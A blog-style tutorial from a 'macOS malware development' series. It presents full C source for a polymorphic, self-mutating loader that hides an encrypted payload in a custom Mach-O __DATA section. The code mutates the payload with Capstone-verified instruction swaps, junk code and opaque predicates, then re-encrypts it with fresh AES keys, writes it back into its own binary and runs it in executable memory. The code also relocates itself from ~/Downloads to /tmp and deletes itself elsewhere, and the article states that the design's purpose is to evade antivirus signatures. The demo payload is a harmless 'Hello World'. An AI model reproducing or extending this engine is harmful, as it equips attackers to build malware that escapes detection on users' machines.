macOS Malware Development II

Today’s post is about writing fully custom malware targeting macOS.

We’ll walk through its architecture, mutation techniques, and anti-analysis methods, with a focus on Mach-O internals and Darwin APIs, macOS malware is fun . Not the “I’m gonna steal your cat photos kind of fun, but the “let’s see how far we can bend Mach-O files before SIP slaps us” kind. If you know anything about me, you know I love writing self-modifying code even though it never works (skill issue).

This piece covers some known techniques and isn’t here to hand you malware, so don’t get it twisted. There’s nothing fancy or groundbreaking here just the basics that anyone with some free time can mess around with.

“macOS is no exception; it’s not malware-proof.”

Some familiarity with malware development is expected. I don’t care if you’re using Linux or Windows techniques may vary, but the core concepts remain the same: debugging and working with low-level programming. If you’re new to macOS, check out the first article for the basics; it’ll prepare you for what’s coming.

The main reason for this piece was my long-term interest in macOS internals and, more specifically, macOS malware and, most importantly, to have fun and learn something new! As always, I will try to explain everything as compactly and clearly as possible. We’ll break down detailed, step-by-step code and techniques so you can follow along and fully understand the concepts at hand.

References:

----[T H E - A R C H I T E C T U R E]

The code examples and concepts presented here have been tested on macOS 14+ (Sonoma), including ARM-based systems. However, I cannot guarantee compatibility across all configurations. That said, if there are better sources available for explaining something, I’ll reference those while striving to be thorough in documenting sources.

One more thing: I’m going to split this into smaller code stubs so it’s easier to demonstrate each technique as we go along, If you’d like to skip ahead, you can find all the code discussed here:

Self-mutating code is a class of techniques that dynamically modifies its own code at runtime. This implementation, designed for macOS, leverages the Mach-O executable format and system APIs, using a custom section within the __DATAsegment to store and evolve its payload. The architecture is divided into two distinct phases:

Parent Process:
Responsible for initialization, decryption, mutation, re-encryption, and self-saving of the updated payload. During this phase, the engine generates encryption keys, decrypts the stored payload, mutates it (through instruction swapping and junk insertion), and then re-encrypts it with fresh keys. Capstone is used to disassemble and verify the mutated code, ensuring that every change results in valid instructions.

Mutant Process:
Executes the core functionality by running the evolved, self-modified code. This process takes the dynamically updated payload from the Parent Process and executes it, allowing the engine’s behavior to continuously evolve with each run after certain conditions are met.

The core idea behind the malware is that it can alter its own code, encrypting its payload within the code. The payload is decrypted and executed at runtime a form of polymorphism. Let’s not jump the gun, though. We will dissect the core principles behind the mutation, its internal workings, and the techniques it uses to persist. Of course, all of this is part of our macOS malware development series, so stick around you may learn something new.

╔═════════════════════════════════════════════════════════════╗
║                      INITIAL DESIGN                         ║
╠═════════════════════════════════════════════════════════════╣
║ 1. Validate Execution Environment                           ║
║    ├─ If running outside /tmp (~/Downloads):                ║
║    │     └─ Copy self to /tmp and exec the copy             ║
║    └─ Else:                                                 ║
║          └─ Self-destruct                                   ║
║                                                             ║
║ 2. Read encrypted payload and header from __DATA section    ║
║ 3. Payload                                                  ║
║    ├─ If first run:                                         ║
║    │    └─ Initialize payload (NOPs + payload), encrypt it, ║
║    │       update header (count = 1)                        ║
║    └─ Else:                                                 ║
║         ├─ Decrypt payload                                  ║
║         ├─ Verify payload integrity (SHA‑256 hash)          ║
║         ├─ Mutate payload (via disassembly-based mutation)  ║
║         ├─ Generate new AES keys/IVs and re–encrypt payload ║
║         └─ Write updated header and payload back to binary  ║
║                                                             ║
║ 4. Load the decrypted payload                               ║                       
║ 5. Execute the payload (performs its task then ...)         ║                       
║ 6. Mutation Cycle:                                          ║
║    - On next run, the mutation cycle repeats or die         ║
╚═════════════════════════════════════════════════════════════╝

But first, let’s break down what Signatures are. A signature is simply a pattern of bytes that antivirus software uses to detect malicious files. It could be a string, a small piece of code, or a hash anything that helps identify bad files. To bypass this, encryption is often used so that the antivirus software can’t match it with known signatures.

Then there’s the Payload, which is the actual file hidden by encryption. It doesn’t exist on its own; it’s attached to the Stub in some form. This might mean it’s stored as a resource, appended to the end of a file, or placed in a new or existing section (more on this as we go).

The Stub is a small piece with one task: decrypt the payload and run it in memory. Since the payload is encrypted, antivirus can’t detect it directly, so it targets the stub instead. But the stub is tiny and simple, making it easy to modify, which allows it to avoid detection repeatedly.

So, what’s the move? There are multiple roads to take here.

On one hand, you could stick with a minimal, straightforward self‑modifying loader. This approach would be small, easy to write, and simple to maintain. It would apply a modest mutation perhaps just a couple of simple modifications that can be tweaked with minimal effort. The upside is that your code remains lean and easy to understand (at least by you).

“What starts as polymorphic finishes as metamorphic.”

On the flip side, you could go full‑on metamorphic. In this model, the loader doesn’t just perform one or two simple modifications; it completely reshapes itself from generation to generation. Each time it runs, it produces a brand new instance with a unique layout, instruction sequence, and encryption signature. This means that even if an antivirus or reverse engineer captures one instance, the next run might look entirely different, making signature‑based detection a moving target.

See:

Of course, this comes with its own set of challenges. As I mentioned, the complexity of ensuring that each transformation preserves its functionality is very high. For that, we need heuristics (like validating instruction counts, checking branches, and so on) to ensure that the changes don’t break the code.

This article isn’t entirely about mutation, but since it’s part of our design, here’s a little example to get your feet wet. It’s similar to how our engine works (I won’t spill all the details here you can find the full engine on GitHub), but this snippet should give you a solid idea. Keep in mind, it’s only half done.

“This is bad coding.”

mutator.c

/* 0x00f */

// 
// Inc 
// 
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

#include <sys/random.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>

#include <stdint.h>
#include <errno.h>
#include <signal.h>
#include <stdbool.h>
#include <time.h>

// #include <sys/wait.h>

#include <mach-o/dyld.h>
#include <mach-o/getsect.h>
#include <mach-o/loader.h>

#include <capstone/capstone.h>
#include <CommonCrypto/CommonCryptor.h>
#include <CommonCrypto/CommonDigest.h>

// 
// Macros
// 
#define K     32
#define S     30    // STUB
#define J     16    // JUNK
#define MU    2     // MUTATION
#define P     4096 

// 
// Structures 
// 
typedef struct __attribute__((packed)) {
    uint8_t  key[K], iv[kCCBlockSizeAES128];
    uint64_t seed;
    uint32_t count;
    uint8_t  hash[CC_SHA256_DIGEST_LENGTH], hmac[CC_SHA256_DIGEST_LENGTH];
} Encryption;

typedef struct {
    uint8_t key[K], iv[12], stream[64];
    size_t position;
    uint64_t counter;
} ChaCha;

typedef struct {
    csh handle;
    cs_insn *insns;
    size_t count;
    uint8_t *original;
    size_t size;
    ChaCha rng;
} Evolution;

// https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CodeFootprint/Articles/MachOOverview.html
extern struct mach_header_64 _mh_execute_header;
__attribute__((used, section("__DATA,__fdata")))
static uint8_t data[sizeof(Encryption) + P];

  // https://github.com/capstone-engine/capstone
#if defined(__x86_64__)
  #define ARCH_X86 1
  #define ARC CS_ARCH_X86
  #define MODE CS_MODE_64
  #include <capstone/x86.h>
#elif defined(__arm64__)
  #define ARCH_ARM 1
  #define ARC CS_ARCH_ARM64
  #define MODE 0
  #include <capstone/arm64.h>
#else
  #error ""
#endif

// 
// Dummy Payload
// 
const uint8_t dummy[] = {
    0xeb, 0x1e,             // jmp    0x1e
    0x5e,                         // pop    rsi 
    0xb8, 0x04, 0x00, 0x00, 0x02, // mov    eax, 4 (write)
    0xbf, 0x01, 0x00, 0x00, 0x00, // mov    edi, 1 (stdout)
    0xba, 0x0e, 0x00, 0x00, 0x00, // mov    edx, 0x0e 
    0x0f, 0x05,                   // syscall
    0xb8, 0x01, 0x00, 0x00, 0x02, // mov    eax, 1 
    0xbf, 0x00, 0x00, 0x00, 0x00, // mov    edi, 0 (exit)
    0x0f, 0x05,                   // syscall
    0xe8, 0xdd, 0xff, 0xff, 0xff, // call   back to jmp
    0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x20, 0x57, 0x6f, 
    0x72, 0x6c, 0x64, 0x21, 0x0d, 0x0a  
};
const size_t len = sizeof(dummy);

// 
// Macros (for ChaCha20)
// 
// heard MacOS prefers it 

// https://github.com/aead/chacha20
#define ROTL32(x, n) (((x) << (n)) | ((x) >> (32 - (n))))
#define QR(a, b, c, d)  (a += b, d ^= a, d = ROTL32(d, 16), \
                          c += d, b ^= c, b = ROTL32(b, 12), \
                          a += b, d ^= a, d = ROTL32(d, 8),  \
                          c += d, b ^= c, b = ROTL32(b, 7))

// 
// Routines
// 
void chacha20_block(const uint32_t key[8], uint32_t counter, const uint32_t nonce[3], uint32_t out[16]) {
    uint32_t state[16], orig[16], c[4] = {0x61707865, 0x3320646e, 0x79622d32, 0x6B206574};
    state[0] = c[0]; state[1] = c[1]; state[2] = c[2]; state[3] = c[3];
    memcpy(&state[4], key, 32);
    state[12] = counter; memcpy(&state[13], nonce, 12);
    memcpy(orig, state, sizeof(state));
    for (int i = 0; i < 10; i++) {
        QR(state[0], state[4], state[8],  state[12]);
        QR(state[1], state[5], state[9],  state[13]);
        QR(state[2], state[6], state[10], state[14]);
        QR(state[3], state[7], state[11], state[15]);
        QR(state[0], state[5], state[10], state[15]);
        QR(state[1], state[6], state[11], state[12]);
        QR(state[2], state[7], state[8],  state[13]);
        QR(state[3], state[4], state[9],  state[14]);
    }
    for (int i = 0; i < 16; i++) 
        out[i] = state[i] + orig[i];
}

uint32_t chacha20_random(ChaCha *rng) {
    if (rng->position >= 64) {
        uint32_t key[8], nonce[3];
        memcpy(key, rng->key, 32);
        memcpy(nonce, rng->iv, 12);
        chacha20_block(key, (uint32_t)rng->counter, nonce, (uint32_t *)rng->stream);
        rng->counter++;
        rng->position = 0;
    }
    uint32_t v;
    memcpy(&v, rng->stream + rng->position, sizeof(v));
    rng->position += sizeof(v);
    return v;
}

void chacha20_init(ChaCha *rng, const uint8_t *seed, size_t len) {
    uint8_t hash[CC_SHA256_DIGEST_LENGTH];
    CC_SHA256(seed, (CC_LONG)len, hash);
    memcpy(rng->key, hash, K);
    uint8_t ivh[CC_SHA256_DIGEST_LENGTH];
    CC_SHA256(hash, CC_SHA256_DIGEST_LENGTH, ivh);
    memcpy(rng->iv, ivh, 12);
    rng->position = 64; // Force on first use
    rng->counter = ((uint64_t)time(NULL)) ^ getpid();
}

bool branch(uint64_t t) {
#ifdef ARCH_X86
    const uintptr_t START = 0x1000;
    return (t >= START && t < (START + P));
#else
    return true;
#endif
}

bool verify(csh h, const cs_insn *i) {
    if (!i) return false;
#ifdef ARCH_X86
    cs_detail *d = i->detail;
    if (!d) return false;
    for (size_t j = 0; j < d->groups_count; j++) {
        if (d->groups[j] == CS_GRP_PRIVILEGE) {
            // https://www.felixcloutier.com/x86/cli
            fprintf(stderr, "(%s) rejected\n", i->mnemonic);
            return false;
        }
    }
    if ((i->id == X86_INS_JMP || i->id == X86_INS_CALL ||
         i->id == X86_INS_JE || i->id == X86_INS_JNE ||
         i->id == X86_INS_LOOP) &&
         (d->x86.op_count > 0 && d->x86.operands[0].type == X86_OP_IMM)) {
        if (!branch(d->x86.operands[0].imm)) {
            fprintf(stderr, "Branch 0x%llx out of bounds\n", d->x86.operands[0].imm);
            return false;
        }
    }
#endif
    return true;
}

bool ratify(csh h, const uint8_t *code, size_t len) {
    cs_insn *i = NULL;
    bool valid = true;
    cs_option(h, CS_OPT_DETAIL, CS_OPT_ON);
    size_t cnt = cs_disasm(h, code, len, 0, 1, &i);
    if (cnt != 1) {
        fprintf(stderr, "Disasm failed for bytes:");
        for (size_t k = 0; k < len; k++) fprintf(stderr, " %02x", code[k]);
        fprintf(stderr, "\n");
        valid = false;
        goto cleanup;
    }
    if (i[0].size != len) {
        fprintf(stderr, "Expected %zu, got %u bytes\n", len, i[0].size);
        valid = false;
        goto cleanup;
    }
    if (!verify(h, i)) {
        valid = false;
        goto cleanup;
    }
cleanup:
    if (i) cs_free(i, 1);
    return valid;
}

// 
// MUTATION Routines (x86 only)
// 

// TODO: ARCH_ARM

#ifdef ARCH_X86
// Insert “smart trash” to buffer.
void trash(uint8_t *buf, size_t sz, ChaCha *rng) {
    uint32_t choice = chacha20_random(rng) % 4;
    size_t len = 0;
    switch (choice) {
        case 0: {
            // "add rax, 1" then "sub rax, 1" (8 bytes)
            if (sz < 8) return;
            uint8_t seq[8] = { 0x48, 0x83, 0xC0, 0x01, 0x48, 0x83, 0xE8, 0x01 };
            memcpy(buf, seq, 8);
            len = 8;
        } break;
        case 1: {
            // "push rax" then "pop rax" (2 bytes)
            if (sz < 2) return;
            uint8_t seq[2] = { 0x50, 0x58 };
            memcpy(buf, seq, 2);
            len = 2;
        } break;
        case 2: {
            //
            // B8+ rd id: "mov eax, imm32" then "xor eax, imm32" (10 bytes)
            if (sz < 10) return;
            uint32_t imm = chacha20_random(rng);
            uint8_t seq[10];
            seq[0] = 0xB8;
            memcpy(seq + 1, &imm, 4);
            seq[5] = 0x35;
            memcpy(seq + 6, &imm, 4);
            memcpy(buf, seq, 10);
            len = 10;
        } break;
        case 3: {
            // "xor rax, rax" (3 bytes)
            if (sz < 3) return;
            uint8_t seq[3] = { 0x48, 0x31, 0xC0 };
            memcpy(buf, seq, 3);
            len = 3;
        } break;
        default: break;
    }
}

// Insert an opaque predicate into the code.
void opaque(uint8_t *code, size_t sz, ChaCha *rng) {
    if (sz < 12) return;
    uint32_t imm = chacha20_random(rng);
    uint8_t seq[12];
    // mov eax, imm32
    seq[0] = 0xB8;
    memcpy(seq + 1, &imm, 4);
    // cmp eax, imm32
    seq[5] = 0x3D;
    memcpy(seq + 6, &imm, 4);
    // je short label (2 bytes): jump 0 bytes (no effect)
    seq[10] = 0x74;
    seq[11] = 0x00;
    size_t pos = chacha20_random(rng) % (sz - 12);
    memcpy(code + pos, seq, 12);
}
#endif // ARCH_X86

void mutate(uint8_t *code, size_t sz, ChaCha *rng) {
    Evolution ctx = {0};
    ctx.original = code;
    ctx.size = sz;
    ctx.rng = *rng;
    uintptr_t base = (uintptr_t)code;

    #if defined(ARCH_X86)
      if (cs_open(CS_ARCH_X86, CS_MODE_64, &ctx.handle) != CS_ERR_OK) return;
    #elif defined(ARCH_ARM)
      if (cs_open(CS_ARCH_ARM64, 0, &ctx.handle) != CS_ERR_OK) return;
    #endif

    ctx.count = cs_disasm(ctx.handle, code, sz, base, 0, &ctx.insns);
    if (!ctx.count) {
        cs_close(&ctx.handle);
        return;
    }

    uint8_t *backup = malloc(sz);
    if (!backup) {
        cs_free(ctx.insns, ctx.count);
        cs_close(&ctx.handle);
        return;
    }
    memcpy(backup, code, sz);
    size_t original_count = ctx.count;

    for (int pass = 0; pass < 3; pass++) {
        switch (chacha20_random(&ctx.rng) % 4) {
            case 0: {  // Swap two instructions
                size_t i = chacha20_random(&ctx.rng) % ctx.count;
                size_t j = chacha20_random(&ctx.rng) % ctx.count;
                if (i == j || ctx.insns[i].size != ctx.insns[j].size) break;
                size_t off_i = ctx.insns[i].address - base;
                size_t off_j = ctx.insns[j].address - base;
                size_t insz = ctx.insns[i].size;
                if (off_i + insz > sz || off_j + insz > sz) break;
                uint8_t temp_i[32], temp_j[32];
                memcpy(temp_i, code + off_i, insz);
                memcpy(temp_j, code + off_j, insz);
                memcpy(code + off_i, temp_j, insz);
                memcpy(code + off_j, temp_i, insz);
                if (!ratify(ctx.handle, code + off_i, insz) ||
                    !ratify(ctx.handle, code + off_j, insz)) {
                    memcpy(code + off_i, temp_i, insz);
                    memcpy(code + off_j, temp_j, insz);
                }
            } break;
            case 1: {  // Junk
            #ifdef ARCH_X86
                if (sz >= J) {
                    size_t pos = chacha20_random(&ctx.rng) % (sz - J);
                    trash(code + pos, J, &ctx.rng);
                }
            #endif
            } break;
            case 2: {  // Opaque 
            #ifdef ARCH_X86
                opaque(code, sz, &ctx.rng);
            #endif
            } break;
            case 3: {  // NOP–out 
            #ifdef ARCH_X86
                size_t i = chacha20_random(&ctx.rng) % ctx.count;
                size_t off = ctx.insns[i].address - base;
                size_t insz = ctx.insns[i].size;
                if (off + insz > sz) break;
                uint8_t bak[32];
                memcpy(bak, code + off, insz);
                if (insz >= 1 && insz <= 10) {
                    static const uint8_t nop_sequences[][10] = {
                        {0x90},                                      // 1-byte
                        {0x66, 0x90},                                // 2-byte
                        {0x0F, 0x1F, 0x00},                           // 3-byte
                        {0x0F, 0x1F, 0x40, 0x00},                      // 4-byte
                        {0x0F, 0x1F, 0x44, 0x00, 0x00},                // 5-byte
                        {0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00},          // 6-byte
                        {0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00},      // 7-byte
                        {0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00},// 8-byte
                        {0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00}, // 9-byte
                        {0x0F, 0x1F, 0x90, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} // 10-byte
                    };
                    memcpy(code + off, nop_sequences[insz - 1], insz);
                } else {
                    memset(code + off, 0x90, insz);
                }
                if (!ratify(ctx.handle, code + off, insz)) {
                    memcpy(code + off, bak, insz);
                }
            #endif
            } break;
        }
    }

    cs_insn *final = NULL;
    size_t final_count = cs_disasm(ctx.handle, code, sz, base, 0, &final);
    if (final_count < (original_count * 0.9)) {
        memcpy(code, backup, sz);
    }

    free(backup);
    if (ctx.insns) cs_free(ctx.insns, ctx.count);
    if (final) cs_free(final, final_count);
    cs_close(&ctx.handle);
    *rng = ctx.rng;
}


// 
// Interface
// 
void mutate_payload(uint8_t *code, size_t sz, ChaCha *rng) {
    if (sz <= S) return;
    uint8_t *target = code + S;
    size_t target_size = sz - S;
#ifdef MU
    mutate(target, target_size, rng);
#else
    // fallback     
#endif
}

void _memcpy(void *dst, const void *src, size_t len) {
    volatile uint8_t *d = dst;
    const volatile uint8_t *s = src;
    while (len--) *d++ = *s++;
}

void zer(void *p, size_t len) {
    volatile uint8_t *x = p;
    while (len--) *x++ = 0;
}

void crypt_payload(int enc, const uint8_t *key, const uint8_t *iv,
                   const uint8_t *in, uint8_t *out, size_t len) {
    CCCryptorRef cr;
    CCCryptorStatus st = CCCryptorCreate(enc ? kCCEncrypt : kCCDecrypt,
                                         kCCAlgorithmAES, 0, key, K, iv, &cr);
    if (st != kCCSuccess) return;
    size_t moved = 0;
    if (CCCryptorUpdate(cr, in, len, out, len, &moved) != kCCSuccess) {
        CCCryptorRelease(cr);
        return;
    }
    size_t fin = 0;
    CCCryptorFinal(cr, out + moved, len - moved, &fin);
    CCCryptorRelease(cr);
}

#define cipher(k,iv,in,out,len) crypt_payload(1, k, iv, in, out, len)
#define decipher(k,iv,in,out,len) crypt_payload(0, k, iv, in, out, len)

// 
// Save back
// 
void save(uint8_t *data, size_t sz) {
    char path[1024];
    uint32_t ps = sizeof(path);
    // https://developer.apple.com/documentation/foundation/nsbundle/1409078-executablepath
    if (_NSGetExecutablePath(path, &ps) != 0) {
        return;
    }
    int fd = open(path, O_RDWR);
    if (fd < 0) {
        perror("open");
        return;
    }
    struct mach_header_64 *h = &_mh_execute_header;
    // https://developer.apple.com/documentation/kernel/mach_header_64
    uint64_t off = 0;
    struct load_command *lc = (struct load_command *)((char *)h + sizeof(*h)); 
    for (uint32_t i = 0; i < h->ncmds; i++) {
        if (lc->cmd == LC_SEGMENT_64) {
            struct segment_command_64 *seg = (struct segment_command_64 *)lc;
            // https://developer.apple.com/documentation/kernel/segment_command_64
            struct section_64 *sec = (struct section_64 *)((char *)seg + sizeof(*seg));
            for (uint32_t j = 0; j < seg->nsects; j++) {
                if (!strcmp(sec[j].sectname, "__fdata") &&
                    !strcmp(sec[j].segname, "__DATA")) {
                    off = sec[j].offset;
                    size_t section_size = sec[j].size;
                    if (sz > section_size) {
                        fprintf(stderr, "Got %zu bytes, only have %llu bytes\n", sz, section_size);
                        close(fd);
                        return;
                    }
                    break;
                }
            }
        }
        lc = (struct load_command *)((char *)lc + lc->cmdsize); 
        // https://developer.apple.com/documentation/kernel/load_command/
    }
    if (off == 0) {
        fprintf(stderr, "Section not found\n");
        close(fd);
        return;
    }
    if (lseek(fd, off, SEEK_SET) == -1) {
        perror("lseek");
        close(fd);
        return;
    }
    size_t tot = 0;
    while (tot < sz) {
        ssize_t w = write(fd, data + tot, sz - tot);
        if (w <= 0) {
            perror("write");
            break;
        }
        tot += w;
    }
    if (tot != sz)
        fprintf(stderr, "Incomplete write\n");
    close(fd);
}

void sigill(int s) { // Lovely! probably won't use 
    exit(1);
}

bool check_priv(uint8_t *code, size_t sz) {
    csh h;
    cs_insn *ins = NULL;
    bool priv = false;
    if (cs_open(ARC, MODE, &h) != CS_ERR_OK) {
        fprintf(stderr, "Cap failed\n");
        return true;
    }
    cs_option(h, CS_OPT_DETAIL, CS_OPT_ON);
    size_t cnt = cs_disasm(h, code, sz, (uintptr_t)code, 0, &ins);
    if (cnt > 0) {
        for (size_t i = 0; i < cnt; i++) {
#ifdef ARCH_X86
            cs_detail *d = ins[i].detail;
            for (size_t j = 0; j < d->groups_count; j++) {
                if (d->groups[j] == CS_GRP_PRIVILEGE) {
                    fprintf(stderr, "Bingo: %s %s\n", ins[i].mnemonic, ins[i].op_str);
                    priv = true;
                    break;
                }
            }
#endif
            if (priv)
                break;
        }
    } else {
        fprintf(stderr, "Disasm failed\n");
        priv = true;
    }
    cs_free(ins, cnt);
    cs_close(&h);
    return priv;
}

void execute(uint8_t *code, size_t sz) {
    // meh 
    long ps = sysconf(_SC_PAGESIZE);
    if (ps <= 0) {
        perror("sysconf");
        return;
    }
    uintptr_t addr = (uintptr_t)code, start = addr & ~(ps - 1);
    size_t off = addr - start, tot = off + sz, al = (tot + ps - 1) & ~(ps - 1);
    if (mprotect((void *)start, al, PROT_READ | PROT_EXEC) != 0) {
        perror("mprotect");
        return;
    }
#if defined(__arm__) || defined(__aarch64__)
    __builtin___clear_cache((char *)code, (char *)code + sz);
#endif
    if (check_priv(code, sz))
        return;
    void (*fn)(void) = (void (*)(void))code;
    fn();
}

// 
// Check & Reloca
// 
// If the binary is running from "/tmp/", execution continues.
// If it is in "/Downloads/", it is copied to /tmp,
// then executed from there. Otherwise, die.
void whereuat() { 
    char exe_path[1024];
    uint32_t size = sizeof(exe_path);
    _NSGetExecutablePath(exe_path, &size);
    if (strstr(exe_path, "/tmp/") != NULL) {
        return;
    }
    else if (strstr(exe_path, "/Downloads/") != NULL) {
        char *base = strrchr(exe_path, '/');
        if (!base) base = exe_path;
        else base++;  // Skip the '/'
        char tmp_path[1024];
        snprintf(tmp_path, sizeof(tmp_path), "/tmp/%s", base);

        FILE *source = fopen(exe_path, "rb");
        if (!source) {
            perror("fopen source");
            exit(1);
        }
        FILE *dest = fopen(tmp_path, "wb");
        if (!dest) {
            perror("fopen dest");
            fclose(source);
            exit(1);
        }
        char buf[4096];
        size_t n;
        while ((n = fread(buf, 1, sizeof(buf), source)) > 0) {
            if (fwrite(buf, 1, n, dest) != n) {
                perror("fwrite");
                fclose(source);
                fclose(dest);
                exit(1);
            }
        }
        fclose(source);
        fclose(dest);
        chmod(tmp_path, 0755);
        char *args[] = { tmp_path, NULL };
        execv(tmp_path, args);
        perror("execv");
        exit(1);
    }
    // Otherwise, you know it!.
    else {
        fprintf(stderr, "%s\nDie.\n", exe_path);
        if (unlink(exe_path) != 0) {
            perror("unlink"); 
        }
        exit(1);
    }
}

// 
// Self-Constructor
// 
__attribute__((constructor))
static void _entry() {
    // First, check if we’re running in an "THE" location.
    whereuat();

    unsigned long ds = 0;
    uint8_t *dsec = getsectiondata(&_mh_execute_header, "__DATA", "__fdata", &ds);
    // https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CodeFootprint/Articles/MachOOverview.html
    if (!dsec || ds < sizeof(data)) {
        exit(1);
    }
    Encryption *hdr = (Encryption *)dsec;
    uint8_t *payload = dsec + sizeof(Encryption);

    // On the very first run, initialize.
    if (hdr->count == 0) {
        printf("Initializing...\n");
        uint8_t init[P];
        memset(init, 0x90, P);  // NOPs the mf!
        if (len > P) {
            fprintf(stderr, "what she said\n");
            exit(1);
        }
        memcpy(init, dummy, len);

        // Encrypt into the binary’s data section.
        if (getentropy(hdr->key, K) != 0 ||
            getentropy(hdr->iv, kCCBlockSizeAES128) != 0) {
            exit(1);
        }
        cipher(hdr->key, hdr->iv, init, payload, P);
        CC_SHA256(payload, P, hdr->hash);
        save(dsec, sizeof(data));
        hdr->count = 1;
    }

    ChaCha rng;
    chacha20_init(&rng, (uint8_t *)&hdr->seed, sizeof(hdr->seed));

    // Decrypt.
    uint8_t *dec = malloc(P);
    if (!dec)
        return;
    decipher(hdr->key, hdr->iv, payload, dec, P);
    uint8_t comp[CC_SHA256_DIGEST_LENGTH];
    CC_SHA256(payload, P, comp);
    if (memcmp(hdr->hash, comp, CC_SHA256_DIGEST_LENGTH) != 0) {
        free(dec);
        exit(1);
    }

    // Mutate the payload (skipping the first STUB bytes).
    mutate_payload(dec, P, &rng); 
 
    // Re-new keys for re–encryption.
    if (getentropy(hdr->key, K) != 0 ||
        getentropy(hdr->iv, kCCBlockSizeAES128) != 0) {
        fprintf(stderr, "Key/IV error\n");
        zer(dec, P);
        free(dec);
        return;
    }
    cipher(hdr->key, hdr->iv, dec, payload, P);
    CC_SHA256(payload, P, hdr->hash);
    save(dsec, sizeof(data));

    void *code_ptr;
    if (posix_memalign(&code_ptr, P, P) != 0) {
        free(dec);
        return;
    }
    if (mprotect(code_ptr, P, PROT_READ | PROT_WRITE | PROT_EXEC) != 0) {
        perror("mprotect");
        free(code_ptr);
        free(dec);
        return;
    }
    _memcpy(code_ptr, dec, P);
    if (mprotect(code_ptr, P, PROT_READ | PROT_EXEC) != 0) {
        perror("mprotect");
        free(code_ptr);
        free(dec);
        return;
    }
    execute(code_ptr, P);
    free(code_ptr);
    zer(dec, P);
    free(dec);

    // Update
    hdr->seed = chacha20_random(&rng);
    hdr->count++;
}

The engine targets Mach-O binaries (macOS/ARM64/x86_64) and is powered by Capstone disassembly along with a ChaCha20-based PRNG. It alters the payload by swapping instructions, inserting junk code and opaque predicates, and re-encrypts the modified code with freshly generated AES keys before writing it back to the binary.

Finally, it loads the mutated payload into executable memory and transfers control to it, so that each run yields a new piece of code.

Back to the basics. Every Mach-O file has a header, load commands, and segments (such as __TEXT for code and __DATA for writable data):

  • __TEXT segment
    • __stubs section
    • __stub_helper section
    • __cstring section
    • __unwind_info section
  • __DATA segment
    • __nl_symbol_ptr section
    • __la_symbol_ptr section

Source:

The header (as shown above) and the subsequent load commands set up the map of our Mach-O file, defining where each segment resides in memory. The __TEXT segment contains the executable code. It’s largely read-only and holds items such as stubs, helpers, and other structures. The __DATA segment is the writable zone, used for data that the program can modify at runtime—such as pointers, symbol tables, or other information.

In the piece above, we leverage the writable nature of the __DATA segment by carving out our own custom section, __fdata. This section stores an encryption header (containing the AES key, IV, random seed, run counter, and hash) along with the encrypted payload, which is our self-mutating code.

Why do it this way? We can locate the custom section at runtime using standard Mach-O APIs (such as getsectiondata), much like finding a neatly labeled folder. The engine then decrypts the payload, mutates it (via instruction swaps, junk insertion, etc.), re-encrypts it, and writes it back resulting in dynamic evolution on each run. This is polymorphic it’s also metamorphic in a sense. Keep that in mind.

+-----------------------------------------------------+
|                   Mach-O File                       |
+-----------------------------------------------------+
| Header                                              |
|  - Magic number, CPU type, file type, etc.          |
+-----------------------------------------------------+
| Load Commands                                       |
|  - Define segments (e.g., __TEXT, __DATA)           |
+-----------------------------------------------------+
| Segments                                            |
|  +-------------------+    +-----------------------+ |
|  |     __TEXT        |    |       __DATA          | |
|  |  (Code section)   |    |  (Writable data zone) | |
|  +-------------------+    +-----------------------+ |
+-----------------------------------------------------+

Source:

So essentially what’s happening is that we copy the decrypted, mutated payload into executable memory and then transfer control over to it. Running this newly mutated payload is the final step in self-modification it lets the engine execute its current, evolved version of the code. Plus, the engine checks its execution location (like making sure it’s running from /tmp) and might even relocate itself if it finds itself in ~/Download (more on that later). This setup minimizes external interference and ensures the piece can modify itself without any constraints.

For encryption, we kick things off by prepping a default payload – think of it as a simple “dummy” routine – and we fill out the rest with NOPs. That leaves us with a clean slate to work on. Then we tap into a randomness source to snag an AES key and an IV. Now, these have their pros and cons: on the upside, they turn our piece into a moving target, but on the downside, the binary’s entropy can skyrocket as more payload and mechanisms get crammed in. Keep that in mind.

Every time the engine runs after initialization, the process looks like this: The engine reads the encrypted payload from the __fdata section and uses the stored key and IV to decrypt it. After decryption, we recompute the SHA hash and compare it to the one stored in the header. This simple check makes sure the payload hasn’t been tampered with.

Now, it might seem straightforward, but here’s the twist: since the payload for real malware is gonna keep growing, we ain’t gonna settle for a “dummy” payload. Instead, we’re packing it with sets of functioning operations, making it a real challenge to keep track of everything.

Remember the first part, where we dabbled in assembly and macOS shellcode development? The same idea applies here. Whether our payload is a simple machine-code “Hello World” or a whole suite of operations, it doesn’t really matter for our current use it’s all about laying the groundwork for something more dynamic down the line.

// Encrypt the mutated payload
cipher(hdr->key, hdr->iv, dec, payload, P);
// Update the hash for integrity verification next time
CC_SHA256(payload, P, hdr->hash);
// Save the new encrypted payload back to the __fdata section
save(dsec, sizeof(data));

So Every run, the engine decrypts its payload, verifies and mutates it, then locks it down again with fresh encryption. This cycle makes the engine’s behavior unpredictable

Decrypt → Verify → Mutate → Generate new keys → Re-encrypt → Update → Save back.

Now the mutation phase, So we might swap two instructions, insert junk code (like NOPs or push/pop sequences), or replace some instructions with opaque predicates, Imagine the engine decides to swap two instructions. It picks two instructions of equal size from the payload, swaps them, and then needs to make sure the resulting code still makes sense,

Source :

When you feed a chunk of binary data into Capstone, it disassembles it into a set of instructions each with details such as its mnemonic (like mov or jmp), operands, and the size of the instruction in bytes, After the engine performs a mutation (say, an instruction swap), it needs to check that the mutated code is still valid. This is where Capstone steps in.

“Cap is a framework that takes raw machine code (binary bytes) and translates it into human-readable assembly instructions, Think of it as a translator for your binary code.”

So Why? it’s not just that the piece required to create a new, unique copy of itself on every propagation is in play it’s also tasked with disassembling previously mutated code and regulating its size. (Since instructions can mutate into multiple instructions, it’s very delicate to do the opposite or else the executable will grow almost exponentially with every mutation :slight_smile: A simple mistake during disassembly could cause the piece to stop or break, and a fully operational malware is a lot tougher. So it’s a challenge and its really a REpsych.

